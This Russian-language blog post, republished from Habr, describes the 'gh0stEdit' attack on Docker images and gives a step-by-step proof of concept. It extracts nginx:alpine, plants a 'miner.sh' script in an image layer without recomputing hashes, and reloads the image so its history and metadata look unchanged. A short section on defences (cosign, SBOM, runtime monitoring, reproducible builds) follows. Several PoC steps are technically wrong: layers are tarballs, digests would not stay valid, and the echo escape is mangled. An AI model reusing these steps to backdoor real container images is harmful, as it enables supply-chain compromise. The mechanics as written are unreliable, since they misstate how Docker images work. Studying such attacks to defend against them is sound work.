- PVSM.RU - https://www.pvsm.ru -

gh0stEdit: как скрытно заразить Docker-образ, обходя его подпись и историю

Схема атаки gh0stEdit: вредонос встраивается в слой Docker-образа, а стандартные проверки изменений не выявляют.

Схема атаки gh0stEdit: вредонос встраивается в слой Docker-образа, а стандартные проверки изменений не выявляют.

Docker и контейнеризация давно стали стандартом. Мы подписываем образы, сканируем их на уязвимости, используем приватные реестры. Кажется, что цепочка поставки надёжно защищена.

Но исследователи показали атаку gh0stEdit (arxiv.org [1], 2025 [2]), которая ломает привычные представления. Суть: можно внедрить вредоносный код в Docker-образ так, что это не видно в истории, подписях и стандартных сканерах.


Пример атаки (PoC)

Ниже — демонстрация в упрощённом виде.

1. Берём базовый образ

docker pull nginx:alpine
docker save nginx:alpine -o nginx.tar

Теперь у нас есть tar-архив образа.


2. Извлекаем слои

mkdir exploit && tar -xf nginx.tar -C exploit
cd exploit

Внутри будут папки вида blobs/sha256/... — это слои образа.


3. Подмена содержимого

Допустим, мы хотим встроить «троян» — скрипт miner.sh [3].

echo -e '#!/bin/shnecho "Mining started..."' > miner.sh
chmod +x miner.sh

Затем мы незаметно подмешиваем его в слой (например, в /usr/bin/).

cp miner.sh blobs/sha256/<layer-id>/usr/bin/

4. Пересборка без изменения метаданных

Ключевой трюк gh0stEdit — мы не пересчитываем хеш слоя, а оставляем прежний.
Для Docker это выглядит так, будто слой не менялся.

Файл manifest.json и repositories остаются прежними.


5. Загружаем образ обратно

tar -cf nginx_backdoored.tar *
docker load -i nginx_backdoored.tar
docker tag <id> nginx:ghosted

6. Проверка «чистоты»

docker history nginx:ghosted

Покажет ту же историю, что и у оригинала.

docker inspect nginx:ghosted

Метаданные совпадают, изменений нет.


7. Запуск и сюрприз

docker run --rm nginx:ghosted miner.sh

Вывод:

Mining started...

Образ прошёл все стандартные проверки, но внутри уже есть скрытый payload.


Почему это страшно

  • CI/CD пайплайн скачает образ, проверит подпись → «чисто».

  • Сканер уязвимостей прогонит → «чисто».

  • В продакшн попадёт контейнер с бэкдором.

Таким образом, атакующий может встроить вредонос даже в подписанный образ из «надёжного» реестра.


Как защищаться

  1. Глубокая проверка содержимого

    • Использовать cosign [4] с принудительной пересборкой хешей.

    • Проверять бинарники внутри слоёв через SBOM (Software Bill of Materials).

  2. Runtime-мониторинг

    • Инструменты Falco, Tetragon, eBPF-хуки: обнаружение аномальных процессов (например, xmrig внутри nginx).

  3. Zero Trust к supply chain

    • Использовать только воспроизводимые сборки (reproducible builds).

    • Пересобирать сторонние образы самостоятельно.


Заключение

gh0stEdit — это напоминание: безопасность контейнеров не заканчивается на подписях и сканерах. Мы должны верифицировать содержимое и наблюдать за поведением контейнеров на рантайме.

Автор: AdminFuture

Источник [5]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/bezopasnost/430892

Ссылки в тексте:

[1] arxiv.org: http://arxiv.org

[2] , 2025: https://arxiv.org/abs/2506.08218?utm_source=chatgpt.com

[3] miner.sh: http://miner.sh

[4] cosign: https://github.com/sigstore/cosign

[5] Источник: https://habr.com/ru/articles/947670/?utm_source=habrahabr&utm_medium=rss&utm_campaign=947670